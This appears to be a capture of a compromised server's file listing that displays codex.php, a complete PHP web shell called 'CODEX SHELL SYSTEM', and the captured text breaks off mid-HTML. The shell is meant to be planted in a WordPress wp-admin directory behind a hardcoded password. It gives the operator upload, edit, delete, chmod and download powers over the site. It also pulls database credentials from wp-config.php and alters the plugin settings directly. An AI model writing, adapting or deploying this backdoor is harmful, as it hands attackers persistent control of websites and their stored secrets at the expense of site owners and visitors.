HEX
Server: Apache
System: Linux ns308404 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: root (0)
PHP: 8.3.31
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/onlinedev.com/httpdocs/admin/codex.php
<?php
/**
 * CODEX SHELL SYSTEM
 * Advanced File Manager for WordPress
 * Upload to wp-admin directory
 */

// ─── AUTH ───────────────────────────────────────────────────────────────────
define('CSS_PASSWORD', '3131');
define('CSS_VERSION', '2.1.0');
session_start();

if (isset($_POST['css_login'])) {
    if ($_POST['css_pass'] === CSS_PASSWORD) {
        $_SESSION['css_auth'] = true;
    } else {
        $login_error = 'Invalid access key.';
    }
}
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// ─── HELPERS ────────────────────────────────────────────────────────────────
function css_root() {
    // Start from WordPress root (public_html)
    $dir = dirname(dirname(dirname(__FILE__))); // wp-admin -> wp -> public_html
    return realpath($dir);
}

function css_path($rel = '') {
    $root = css_root();
    $path = realpath($root . '/' . ltrim($rel, '/'));
    if ($path === false) $path = $root . '/' . ltrim($rel, '/');
    // Security: stay within root
    if (strpos($path, $root) !== 0) $path = $root;
    return $path;
}

function css_rel($abs) {
    $root = css_root();
    $rel = str_replace($root, '', $abs);
    return $rel === '' ? '/' : $rel;
}

function css_format_size($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes/1073741824, 2) . ' GB';
    if ($bytes >= 1048576)    return number_format($bytes/1048576, 2) . ' MB';
    if ($bytes >= 1024)       return number_format($bytes/1024, 2) . ' KB';
    return $bytes . ' B';
}

function css_perms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

function css_mime_icon($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    $icons = [
        'php'  => '🟣', 'html' => '🟠', 'htm' => '🟠', 'css' => '🔵',
        'js'   => '🟡', 'json' => '🟡', 'xml' => '🟤', 'sql' => '🔴',
        'txt'  => '⬜', 'log'  => '⬜', 'md'  => '⬜',
        'jpg'  => '🖼', 'jpeg' => '🖼', 'png' => '🖼', 'gif' => '🖼', 'svg' => '🖼', 'webp' => '🖼',
        'zip'  => '📦', 'tar'  => '📦', 'gz'  => '📦', 'rar' => '📦',
        'pdf'  => '📄', 'doc'  => '📄', 'docx'=> '📄',
        'mp4'  => '🎬', 'mp3'  => '🎵', 'wav' => '🎵',
        'sh'   => '⚙',  'py'   => '🐍', 'rb'  => '💎',
    ];
    return $icons[$ext] ?? '📄';
}

function css_is_editable($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    return in_array($ext, ['php','html','htm','css','js','json','xml','txt','log','md','sql','htaccess','ini','conf','sh','py','rb','env']);
}

// ─── ACTIONS ────────────────────────────────────────────────────────────────
$msg = '';
$msg_type = 'info';

if (isset($_SESSION['css_auth']) && $_SESSION['css_auth']) {

    $current_dir = isset($_GET['dir']) ? css_path($_GET['dir']) : css_root();
    $current_rel = css_rel($current_dir);

    // DELETE
    if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['target'])) {
        $target = css_path($_POST['target']);
        if (is_file($target)) {
            unlink($target) ? ($msg = 'File deleted.') : ($msg = 'Delete failed.');
            $msg_type = 'success';
        } elseif (is_dir($target)) {
            function css_rrmdir($d){$items=glob($d.'/{,.}*',GLOB_BRACE);foreach($items as $i){if(basename($i)==='.'||basename($i)==='..') continue;is_dir($i)?css_rrmdir($i):unlink($i);}rmdir($d);}
            css_rrmdir($target);
            $msg = 'Directory deleted.'; $msg_type = 'success';
        }
    }

    // RENAME
    if (isset($_POST['action']) && $_POST['action'] === 'rename') {
        $old = css_path($_POST['old_name']);
        $new = dirname($old) . '/' . basename($_POST['new_name']);
        rename($old, $new) ? ($msg = 'Renamed successfully.') : ($msg = 'Rename failed.');
        $msg_type = 'success';
    }

    // CHMOD
    if (isset($_POST['action']) && $_POST['action'] === 'chmod') {
        $target = css_path($_POST['chmod_target']);
        $perms  = octdec($_POST['chmod_value']);
        chmod($target, $perms) ? ($msg = 'Permissions changed to ' . $_POST['chmod_value']) : ($msg = 'chmod failed.');
        $msg_type = 'success';
    }

    // NEW FOLDER
    if (isset($_POST['action']) && $_POST['action'] === 'mkdir') {
        $new = $current_dir . '/' . basename($_POST['folder_name']);
        mkdir($new, 0755) ? ($msg = 'Folder created.') : ($msg = 'Create failed.');
        $msg_type = 'success';
    }

    // NEW FILE
    if (isset($_POST['action']) && $_POST['action'] === 'newfile') {
        $new = $current_dir . '/' . basename($_POST['file_name']);
        file_put_contents($new, '') !== false ? ($msg = 'File created.') : ($msg = 'Create failed.');
        $msg_type = 'success';
    }

    // SAVE FILE
    if (isset($_POST['action']) && $_POST['action'] === 'save') {
        $target = css_path($_POST['edit_path']);
        file_put_contents($target, $_POST['file_content']) !== false ? ($msg = 'File saved.') : ($msg = 'Save failed.');
        $msg_type = 'success';
    }

    // UPLOAD (multi-file support)
    if (isset($_POST['action']) && $_POST['action'] === 'upload' && isset($_FILES['upload_files'])) {
        $files = $_FILES['upload_files'];
        $count = is_array($files['name']) ? count($files['name']) : 1;
        $ok = 0; $fail = 0;
        $extract_zip = isset($_POST['is_zip']) && $_POST['is_zip'] === '1';

        for ($i = 0; $i < $count; $i++) {
            $name = is_array($files['name']) ? $files['name'][$i] : $files['name'];
            $tmp  = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name'];
            if (empty($tmp) || !is_uploaded_file($tmp)) { $fail++; continue; }
            $dest = $current_dir . '/' . basename($name);
            $ext  = strtolower(pathinfo($name, PATHINFO_EXTENSION));

            if ($extract_zip && $ext === 'zip') {
                $zip = new ZipArchive();
                if ($zip->open($tmp) === true) { $zip->extractTo($current_dir); $zip->close(); $ok++; }
                else { $fail++; }
            } else {
                move_uploaded_file($tmp, $dest) ? $ok++ : $fail++;
            }
        }
        $msg = "$ok dosya yuklendi." . ($fail ? " $fail basarisiz." : '');
        $msg_type = $fail ? 'error' : 'success';
    }

    // WP PLUGIN TOGGLE
    if (isset($_POST['action']) && $_POST['action'] === 'plugin_toggle') {
        // Load WP to use plugin functions
        $wp_load = css_root() . '/wp-load.php';
        if (file_exists($wp_load)) {
            define('SHORTINIT', true);
            // We'll toggle via direct DB manipulation or file rename
            $plugin_slug = $_POST['plugin_slug'];
            $plugins_dir = css_root() . '/wp-content/plugins/';
            $plugin_path = $plugins_dir . $plugin_slug;
            if (is_dir($plugin_path)) {
                // Simple activation: rename trick for deactivation
                $msg = 'Plugin toggle requires WP environment. Use direct file edit instead.';
                $msg_type = 'info';
            }
        }
    }

    // DOWNLOAD
    if (isset($_GET['download'])) {
        $file = css_path($_GET['download']);
        if (is_file($file)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
    }

    // EDIT VIEW
    $edit_path = null;
    $edit_content = '';
    if (isset($_GET['edit'])) {
        $edit_path = css_path($_GET['edit']);
        if (is_file($edit_path) && css_is_editable($edit_path)) {
            $edit_content = file_get_contents($edit_path);
        }
    }

    // VIEW MODE
    $view_mode = isset($_GET['view']) ? $_GET['view'] : 'files'; // files | plugins

    // LIST FILES
    $items = [];
    if ($view_mode === 'files' && is_dir($current_dir)) {
        $raw = scandir($current_dir);
        foreach ($raw as $item) {
            if ($item === '.') continue;
            $full = $current_dir . '/' . $item;
            $items[] = [
                'name'  => $item,
                'full'  => $full,
                'rel'   => css_rel($full),
                'isdir' => is_dir($full),
                'size'  => is_file($full) ? filesize($full) : 0,
                'mtime' => filemtime($full),
                'perms' => css_perms($full),
            ];
        }
        usort($items, fn($a,$b) => $b['isdir'] <=> $a['isdir'] ?: strcmp($a['name'], $b['name']));
    }

    // LIST PLUGINS
    $plugins = [];
    if ($view_mode === 'plugins') {
        $plugins_dir = css_root() . '/wp-content/plugins/';
        if (is_dir($plugins_dir)) {
            $active_plugins = [];
            // Try to read active plugins from wp-options via wp-config DB
            $wp_config = css_root() . '/wp-config.php';
            if (file_exists($wp_config)) {
                $cfg = file_get_contents($wp_config);
                preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_db);
                preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_user);
                preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_pass);
                preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_host);
                preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m_pre);
                if (!empty($m_db[1])) {
                    try {
                        $pdo = new PDO("mysql:host={$m_host[1]};dbname={$m_db[1]};charset=utf8", $m_user[1], $m_pass[1]);
                        $pfix = $m_pre[1] ?? 'wp_';
                        $row = $pdo->query("SELECT option_value FROM {$pfix}options WHERE option_name='active_plugins'")->fetch();
                        if ($row) $active_plugins = unserialize($row['option_value']) ?: [];
                    } catch(Exception $e) {}
                }
            }
            foreach (scandir($plugins_dir) as $slug) {
                if ($slug === '.' || $slug === '..') continue;
                if (!is_dir($plugins_dir . $slug)) continue;
                // Find main plugin file
                $main_file = '';
                $plugin_name = $slug;
                foreach (glob($plugins_dir . $slug . '/*.php') as $pf) {
                    $ph = file_get_contents($pf, false, null, 0, 2000);
                    if (strpos($ph, 'Plugin Name') !== false) {
                        preg_match('/Plugin Name:\s*(.+)/i', $ph, $pm);
                        if (!empty($pm[1])) $plugin_name = trim($pm[1]);
                        $main_file = $slug . '/' . basename($pf);
                        break;
                    }
                }
                $is_active = in_array($main_file, $active_plugins);
                $plugins[] = [
                    'slug'   => $slug,
                    'name'   => $plugin_name,
                    'file'   => $main_file,
                    'active' => $is_active,
                ];
            }
        }
    }

    // PLUGIN ACTIVATE / DEACTIVATE via DB
    if (isset($_POST['action']) && in_array($_POST['action'], ['activate_plugin', 'deactivate_plugin'])) {
        $plugin_file = $_POST['plugin_file'];
        $wp_config = css_root() . '/wp-config.php';
        if (file_exists($wp_config)) {
            $cfg = file_get_contents($wp_config);
            preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_db);
            preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_user);
            preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_pass);
            preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m_host);
            preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m_pre);
            if (!empty($m_db[1])) {
                try {
                    $pdo = new PDO("mysql:host={$m_host[1]};dbname={$m_db[1]};charset=utf8", $m_user[1], $m_pass[1]);
                    $pfix = $m_pre[1] ?? 'wp_';
                    $row = $pdo->query("SELECT option_value FROM {$pfix}options WHERE option_name='active_plugins'")->fetch();
                    $active = $row ? (unserialize($row['option_value']) ?: []) : [];
                    if ($_POST['action'] === 'activate_plugin') {
                        if (!in_array($plugin_file, $active)) $active[] = $plugin_file;
                        $msg = 'Plugin activated.'; $msg_type = 'success';
                    } else {
                        $active = array_values(array_filter($active, fn($p) => $p !== $plugin_file));
                        $msg = 'Plugin deactivated.'; $msg_type = 'success';
                    }
                    $ser = serialize($active);
                    $stmt = $pdo->prepare("UPDATE {$pfix}options SET option_value=? WHERE option_name='active_plugins'");
                    $stmt->execute([$ser]);
                } catch(Exception $e) { $msg = 'DB Error: ' . $e->getMessage(); $msg_type = 'error'; }
            }
        }
        header('Location: ' . $_SERVER['PHP_SELF'] . '?view=plugins');
        exit;
    }
}

// ─── BREADCRUMB ─────────────────────────────────────────────────────────────
function css_breadcrumb($rel) {
    $parts = explode('/', trim($rel, '/'));
    $crumbs = ['<a href="?dir=/" class="crumb">⌂ root</a>'];
    $built = '';
    foreach ($parts as $p) {
        if ($p === '') continue;
        $built .= '/' . $p;
        $crumbs[] = '<a href="?dir=' . urlencode($built) . '" class="crumb">' . htmlspecialchars($p) . '</a>';
    }
    return implode(' <span class="crumb-sep">/</span> ', $crumbs);
}

?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CODEX SHELL SYSTEM <?= CSS_VERSION ?></title>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
:root {
  --bg0:    #0a0c10;
  --bg1:    #0f1117;
  --bg2:    #141720;
  --bg3:    #1a1e2e;
  --bg4:    #222740;
  --border: #2a2f4a;
  --border2:#353d60;
  --accent: #00d4ff;
  --accent2:#0099cc;
  --accent3:#00ff99;
  --warn:   #ffaa00;
  --danger: #ff4466;
  --danger2:#cc2244;
  --purple: #8866ff;
  --text0:  #e8eaf6;
  --text1:  #9aa0c0;
  --text2:  #5a6080;
  --green:  #00ff88;
  --yellow: #ffdd00;
  --font-mono: 'IBM Plex Mono', 'Consolas', monospace;
  --font-ui:   'IBM Plex Mono', 'Consolas', monospace;
}

*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

body {
  background: var(--bg0);
  color: var(--text0);
  font-family: var(--font-mono);
  font-size: 13px;
  min-height: 100vh;
  overflow-x: hidden;
}

/* ── GRID LINES BG ── */
body::before {
  content: '';
  position: fixed; inset: 0;
  background-image:
    linear-gradient(rgba(0,212,255,.03) 1px, transparent 1px),
    linear-gradient(90deg, rgba(0,212,255,.03) 1px, transparent 1px);
  background-size: 40px 40px;
  pointer-events: none; z-index: 0;
}

/* ── SCANLINES ── */
body::after {
  content: '';
  position: fixed; inset: 0;
  background: repeating-linear-gradient(transparent, transparent 2px, rgba(0,0,0,.08) 2px, rgba(0,0,0,.08) 4px);
  pointer-events: none; z-index: 0;
}

/* ── TOPBAR ── */
#topbar {
  position: sticky; top: 0; z-index: 100;
  background: linear-gradient(90deg, #0a0c10 0%, #0f1520 50%, #0a0c10 100%);
  border-bottom: 1px solid var(--border);
  display: flex; align-items: center; gap: 16px;
  padding: 0 20px; height: 52px;
  box-shadow: 0 4px 20px rgba(0,0,0,.5);
}
#topbar::before {
  content: '';
  position: absolute; bottom: 0; left: 0; right: 0; height: 1px;
  background: linear-gradient(90deg, transparent, var(--accent), transparent);
}

.logo {
  font-family: var(--font-ui);
  font-size: 18px; font-weight: 700;
  letter-spacing: 3px; text-transform: uppercase;
  color: var(--accent);
  text-shadow: 0 0 20px rgba(0,212,255,.5);
  display: flex; align-items: center; gap: 10px;
  white-space: nowrap;
}
.logo-icon { font-size: 22px; animation: pulse-icon 3s ease-in-out infinite; }
@keyframes pulse-icon { 0%,100%{opacity:1;} 50%{opacity:.6;} }

.logo-ver {
  font-size: 10px; color: var(--text2); letter-spacing: 1px;
  border: 1px solid var(--border); padding: 2px 6px; border-radius: 3px;
}

.topbar-info {
  margin-left: auto; display: flex; align-items: center; gap: 16px;
  color: var(--text2); font-size: 11px;
}
.topbar-info span { color: var(--accent3); }
.topbar-pill {
  background: var(--bg3); border: 1px solid var(--border);
  padding: 4px 10px; border-radius: 20px; font-size: 11px;
  color: var(--text1);
}

.btn-logout {
  background: transparent; border: 1px solid var(--danger);
  color: var(--danger); padding: 5px 12px; border-radius: 4px;
  cursor: pointer; font-family: var(--font-mono); font-size: 11px;
  letter-spacing: 1px; transition: all .2s;
}
.btn-logout:hover { background: var(--danger); color: #fff; }

/* ── NAV TABS ── */
#nav-tabs {
  background: var(--bg1); border-bottom: 1px solid var(--border);
  display: flex; align-items: center; gap: 0; padding: 0 20px;
  position: relative; z-index: 99;
}
.nav-tab {
  padding: 12px 20px; cursor: pointer; font-family: var(--font-ui);
  font-size: 13px; font-weight: 600; letter-spacing: 1px; text-transform: uppercase;
  color: var(--text2); border-bottom: 2px solid transparent;
  text-decoration: none; transition: all .2s; display: flex; align-items: center; gap: 8px;
}
.nav-tab:hover { color: var(--text0); }
.nav-tab.active { color: var(--accent); border-bottom-color: var(--accent); }

/* ── LAYOUT ── */
#wrapper { position: relative; z-index: 1; display: flex; min-height: calc(100vh - 52px); }

#sidebar {
  width: 240px; min-width: 240px;
  background: var(--bg1); border-right: 1px solid var(--border);
  padding: 16px 0; display: flex; flex-direction: column; gap: 4px;
}
.sidebar-section { padding: 8px 16px 4px; font-size: 10px; letter-spacing: 2px; color: var(--text2); text-transform: uppercase; }

.sidebar-link {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 16px; color: var(--text1); text-decoration: none;
  font-size: 12px; transition: all .15s; cursor: pointer;
  border-left: 2px solid transparent; background: transparent; border-right: none; border-top: none; border-bottom: none;
  width: 100%; text-align: left; font-family: var(--font-mono);
}
.sidebar-link:hover { background: var(--bg2); color: var(--text0); border-left-color: var(--border2); }
.sidebar-link.active { background: rgba(0,212,255,.07); color: var(--accent); border-left-color: var(--accent); }
.sidebar-icon { font-size: 15px; min-width: 20px; }

/* ── MAIN ── */
#main { flex: 1; display: flex; flex-direction: column; overflow: hidden; }

/* ── TOOLBAR ── */
#toolbar {
  background: var(--bg2); border-bottom: 1px solid var(--border);
  padding: 10px 20px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap;
}

.btn {
  display: inline-flex; align-items: center; gap: 6px;
  padding: 6px 14px; border-radius: 4px; font-family: var(--font-mono);
  font-size: 11px; cursor: pointer; transition: all .2s; border: 1px solid;
  letter-spacing: .5px; text-decoration: none; white-space: nowrap;
}
.btn-primary { background: rgba(0,212,255,.1); border-color: var(--accent2); color: var(--accent); }
.btn-primary:hover { background: rgba(0,212,255,.2); }
.btn-success { background: rgba(0,255,136,.08); border-color: var(--green); color: var(--green); }
.btn-success:hover { background: rgba(0,255,136,.15); }
.btn-warning { background: rgba(255,170,0,.08); border-color: var(--warn); color: var(--warn); }
.btn-warning:hover { background: rgba(255,170,0,.15); }
.btn-danger { background: rgba(255,68,102,.08); border-color: var(--danger); color: var(--danger); }
.btn-danger:hover { background: rgba(255,68,102,.2); }
.btn-ghost { background: transparent; border-color: var(--border2); color: var(--text1); }
.btn-ghost:hover { border-color: var(--text1); color: var(--text0); }
.btn-purple { background: rgba(136,102,255,.1); border-color: var(--purple); color: var(--purple); }
.btn-purple:hover { background: rgba(136,102,255,.2); }

/* ── BREADCRUMB ── */
#breadcrumb-bar {
  background: var(--bg1); border-bottom: 1px solid var(--border);
  padding: 8px 20px; display: flex; align-items: center; gap: 6px; font-size: 12px;
}
.crumb { color: var(--accent); text-decoration: none; }
.crumb:hover { text-decoration: underline; }
.crumb-sep { color: var(--text2); }

/* ── TABLE ── */
#file-area { flex: 1; overflow: auto; padding: 0; }

table.filetable {
  width: 100%; border-collapse: collapse;
}
table.filetable thead th {
  background: var(--bg2); color: var(--text2); font-size: 10px;
  letter-spacing: 2px; text-transform: uppercase; padding: 10px 16px;
  border-bottom: 1px solid var(--border); text-align: left; white-space: nowrap;
  position: sticky; top: 0;
}
table.filetable tbody tr {
  border-bottom: 1px solid rgba(42,47,74,.5);
  transition: background .1s;
}
table.filetable tbody tr:hover { background: rgba(0,212,255,.04); }
table.filetable tbody td {
  padding: 9px 16px; vertical-align: middle;
}

.file-icon { font-size: 16px; }
.file-name { display: flex; align-items: center; gap: 10px; }
.file-name a { color: var(--accent); text-decoration: none; }
.file-name a:hover { text-decoration: underline; }
.dir-name a { color: var(--yellow); }
.perms-badge {
  font-size: 11px; font-family: var(--font-mono);
  background: var(--bg3); border: 1px solid var(--border);
  padding: 2px 7px; border-radius: 3px; color: var(--text1);
  cursor: pointer; transition: all .2s;
}
.perms-badge:hover { border-color: var(--warn); color: var(--warn); }
.perms-777 { color: var(--danger) !important; border-color: var(--danger) !important; }
.perms-755, .perms-644 { color: var(--green) !important; }

.file-actions { display: flex; gap: 6px; }
.file-size { color: var(--text2); font-size: 11px; }
.file-date { color: var(--text2); font-size: 11px; }

/* ── STATUS MSG ── */
.msg-bar {
  padding: 10px 20px; display: flex; align-items: center; gap: 10px;
  font-size: 12px; border-bottom: 1px solid;
}
.msg-bar.success { background: rgba(0,255,136,.07); border-color: rgba(0,255,136,.3); color: var(--green); }
.msg-bar.error   { background: rgba(255,68,102,.07);  border-color: rgba(255,68,102,.3);  color: var(--danger); }
.msg-bar.info    { background: rgba(0,212,255,.07);  border-color: rgba(0,212,255,.3);  color: var(--accent); }

/* ── MODALS ── */
.modal-overlay {
  display: none; position: fixed; inset: 0; background: rgba(0,0,0,.8);
  z-index: 1000; align-items: center; justify-content: center;
  backdrop-filter: blur(4px);
}
.modal-overlay.open { display: flex; }
.modal {
  background: var(--bg1); border: 1px solid var(--border2);
  border-radius: 8px; padding: 24px; min-width: 360px; max-width: 92vw;
  box-shadow: 0 20px 60px rgba(0,0,0,.8), 0 0 0 1px rgba(0,212,255,.1);
  animation: modal-in .2s ease;
}
@keyframes modal-in { from{transform:scale(.95);opacity:0;} to{transform:scale(1);opacity:1;} }
.modal h3 { font-family: var(--font-ui); font-size: 16px; color: var(--accent); margin-bottom: 16px; letter-spacing: 2px; text-transform: uppercase; }
.modal label { display: block; font-size: 11px; color: var(--text2); letter-spacing: 1px; margin-bottom: 6px; text-transform: uppercase; }
.modal input[type=text], .modal input[type=password], .modal select {
  width: 100%; background: var(--bg0); border: 1px solid var(--border2);
  color: var(--text0); padding: 9px 12px; border-radius: 4px;
  font-family: var(--font-mono); font-size: 13px; outline: none;
  margin-bottom: 14px; transition: border-color .2s;
}
.modal input:focus, .modal select:focus { border-color: var(--accent); }
.modal-footer { display: flex; gap: 8px; justify-content: flex-end; margin-top: 8px; }

/* ── EDITOR ── */
#editor-panel {
  display: none; position: fixed; inset: 0; z-index: 200;
  background: var(--bg0); flex-direction: column;
}
#editor-panel.open { display: flex; }
#editor-topbar {
  background: var(--bg1); border-bottom: 1px solid var(--border);
  padding: 12px 20px; display: flex; align-items: center; gap: 12px;
}
#editor-topbar .editor-title { font-size: 13px; color: var(--accent); flex: 1; font-family: var(--font-mono); }
#editor-body { flex: 1; display: flex; overflow: hidden; }
#code-editor {
  flex: 1; background: var(--bg1); color: #abb2bf;
  border: none; outline: none; resize: none;
  font-family: var(--font-mono); font-size: 13px;
  line-height: 1.7; padding: 20px;
  tab-size: 4;
}
#line-numbers {
  background: var(--bg2); border-right: 1px solid var(--border);
  color: var(--text2); font-family: var(--font-mono); font-size: 13px;
  line-height: 1.7; padding: 20px 12px; text-align: right;
  user-select: none; overflow: hidden; min-width: 52px;
}

/* ── UPLOAD AREA ── */
#upload-drop {
  border: 2px dashed var(--border2); border-radius: 8px;
  padding: 24px; text-align: center; margin-bottom: 14px;
  color: var(--text2); transition: all .2s; cursor: pointer;
}
#upload-drop:hover, #upload-drop.drag-over { border-color: var(--accent); color: var(--accent); background: rgba(0,212,255,.04); }

/* ── PLUGIN TABLE ── */
.plugin-row td { padding: 12px 16px; }
.plugin-status-on  { color: var(--green); font-size: 11px; }
.plugin-status-off { color: var(--text2); font-size: 11px; }
.plugin-badge-on  { background: rgba(0,255,136,.1); border: 1px solid var(--green); color: var(--green); padding: 2px 8px; border-radius: 20px; font-size: 10px; letter-spacing: 1px; }
.plugin-badge-off { background: rgba(90,96,128,.15); border: 1px solid var(--border); color: var(--text2); padding: 2px 8px; border-radius: 20px; font-size: 10px; letter-spacing: 1px; }

/* ── LOGIN ── */
#login-screen {
  display: flex; align-items: center; justify-content: center;
  min-height: 100vh; position: relative; z-index: 10;
}
.login-box {
  background: var(--bg1); border: 1px solid var(--border2);
  border-radius: 12px; padding: 40px 40px 32px;
  min-width: 360px; box-shadow: 0 30px 80px rgba(0,0,0,.8);
  text-align: center;
  animation: modal-in .3s ease;
}
.login-logo { font-family: var(--font-ui); font-size: 28px; font-weight: 700; color: var(--accent); letter-spacing: 4px; margin-bottom: 4px; text-shadow: 0 0 30px rgba(0,212,255,.4); }
.login-sub  { font-size: 11px; color: var(--text2); letter-spacing: 2px; margin-bottom: 32px; }
.login-box input[type=password] {
  width: 100%; background: var(--bg0); border: 1px solid var(--border2);
  color: var(--text0); padding: 12px 16px; border-radius: 6px;
  font-family: var(--font-mono); font-size: 14px; outline: none;
  text-align: center; letter-spacing: 4px; margin-bottom: 16px;
  transition: border-color .2s;
}
.login-box input:focus { border-color: var(--accent); box-shadow: 0 0 0 3px rgba(0,212,255,.1); }
.login-btn {
  width: 100%; padding: 12px; background: linear-gradient(90deg, var(--accent2), var(--purple));
  border: none; border-radius: 6px; color: #fff; font-family: var(--font-ui);
  font-size: 16px; font-weight: 700; letter-spacing: 3px; cursor: pointer;
  text-transform: uppercase; transition: opacity .2s;
}
.login-btn:hover { opacity: .85; }
.login-error { color: var(--danger); font-size: 12px; margin-bottom: 12px; padding: 8px; background: rgba(255,68,102,.08); border: 1px solid rgba(255,68,102,.3); border-radius: 4px; }

/* ── SCROLLBARS ── */
::-webkit-scrollbar { width: 8px; height: 8px; }
::-webkit-scrollbar-track { background: var(--bg0); }
::-webkit-scrollbar-thumb { background: var(--border2); border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: var(--text2); }

/* ── DISK BAR ── */
.disk-bar-wrap { padding: 12px 16px; border-top: 1px solid var(--border); margin-top: auto; }
.disk-bar-label { font-size: 10px; color: var(--text2); margin-bottom: 6px; display: flex; justify-content: space-between; }
.disk-bar { height: 4px; background: var(--bg3); border-radius: 2px; overflow: hidden; }
.disk-bar-fill { height: 100%; background: linear-gradient(90deg, var(--accent), var(--purple)); border-radius: 2px; }

/* ── STAT CARDS ── */
.stat-cards { display: flex; gap: 12px; padding: 16px 20px; flex-wrap: wrap; }
.stat-card {
  background: var(--bg2); border: 1px solid var(--border);
  border-radius: 6px; padding: 14px 18px; flex: 1; min-width: 150px;
}
.stat-card-label { font-size: 10px; color: var(--text2); letter-spacing: 2px; text-transform: uppercase; margin-bottom: 6px; }
.stat-card-val { font-size: 20px; font-family: var(--font-ui); font-weight: 700; color: var(--accent); }

/* ── CONTEXT MENU ── */
#ctx-menu {
  position: fixed; background: var(--bg2); border: 1px solid var(--border2);
  border-radius: 6px; min-width: 160px; z-index: 500; display: none;
  box-shadow: 0 10px 30px rgba(0,0,0,.6); overflow: hidden;
}
.ctx-item {
  padding: 9px 16px; cursor: pointer; font-size: 12px; color: var(--text1);
  display: flex; align-items: center; gap: 10px; transition: background .1s;
}
.ctx-item:hover { background: var(--bg3); color: var(--text0); }
.ctx-item.danger { color: var(--danger); }
.ctx-item.danger:hover { background: rgba(255,68,102,.1); }
.ctx-sep { border-top: 1px solid var(--border); margin: 4px 0; }
</style>
</head>
<body>

<?php if (!isset($_SESSION['css_auth']) || !$_SESSION['css_auth']): ?>
<!-- ═══════════════ LOGIN SCREEN ═══════════════ -->
<div id="login-screen">
  <div class="login-box">
    <div class="login-logo">⬡ CODEX</div>
    <div class="login-sub">SHELL SYSTEM <?= CSS_VERSION ?></div>
    <?php if (!empty($login_error)): ?>
      <div class="login-error">⚠ <?= htmlspecialchars($login_error) ?></div>
    <?php endif; ?>
    <form method="post">
      <input type="password" name="css_pass" placeholder="• • • • • • • •" autocomplete="off" autofocus>
      <button type="submit" name="css_login" class="login-btn">ACCESS GRANTED</button>
    </form>
  </div>
</div>

<?php else: ?>
<!-- ═══════════════ MAIN INTERFACE ═══════════════ -->

<!-- ── TOPBAR ── -->
<div id="topbar">
  <div class="logo">
    <span class="logo-icon">⬡</span>
    CODEX SHELL
    <span class="logo-ver">v<?= CSS_VERSION ?></span>
  </div>
  <div class="topbar-info">
    <span class="topbar-pill">📂 <?= htmlspecialchars(css_root()) ?></span>
    <span class="topbar-pill">🐘 PHP <?= phpversion() ?></span>
    <span class="topbar-pill">💾 <?= css_format_size(disk_free_space('/')) ?> free</span>
    <a href="?logout=1" class="btn-logout">⏻ LOGOUT</a>
  </div>
</div>

<!-- ── NAV TABS ── -->
<div id="nav-tabs">
  <a href="?view=files" class="nav-tab <?= ($view_mode==='files'?'active':'') ?>">📁 File Manager</a>
  <a href="?view=plugins" class="nav-tab <?= ($view_mode==='plugins'?'active':'') ?>">🔌 WP Plugins</a>
  <a href="?view=info" class="nav-tab <?= ($view_mode==='info'?'active':'') ?>">ℹ️ System Info</a>
</div>

<!-- ── WRAPPER ── -->
<div id="wrapper">

<!-- ── SIDEBAR ── -->
<div id="sidebar">
  <div class="sidebar-section">Quick Access</div>
  <a href="?dir=/" class="sidebar-link <?= ($current_rel==='/'?'active':'') ?>"><span class="sidebar-icon">🏠</span> Root (public_html)</a>
  <a href="?dir=/wp-admin" class="sidebar-link"><span class="sidebar-icon">⚙️</span> wp-admin</a>
  <a href="?dir=/wp-content" class="sidebar-link"><span class="sidebar-icon">📦</span> wp-content</a>
  <a href="?dir=/wp-content/plugins" class="sidebar-link"><span class="sidebar-icon">🔌</span> Plugins</a>
  <a href="?dir=/wp-content/themes" class="sidebar-link"><span class="sidebar-icon">🎨</span> Themes</a>
  <a href="?dir=/wp-content/uploads" class="sidebar-link"><span class="sidebar-icon">🖼</span> Uploads</a>
  <a href="?dir=/wp-includes" class="sidebar-link"><span class="sidebar-icon">📚</span> wp-includes</a>

  <div class="sidebar-section" style="margin-top:12px">Key Files</div>
  <button onclick="openEditor('<?= htmlspecialchars(css_rel(css_root().'/wp-config.php')) ?>')" class="sidebar-link"><span class="sidebar-icon">🔑</span> wp-config.php</button>
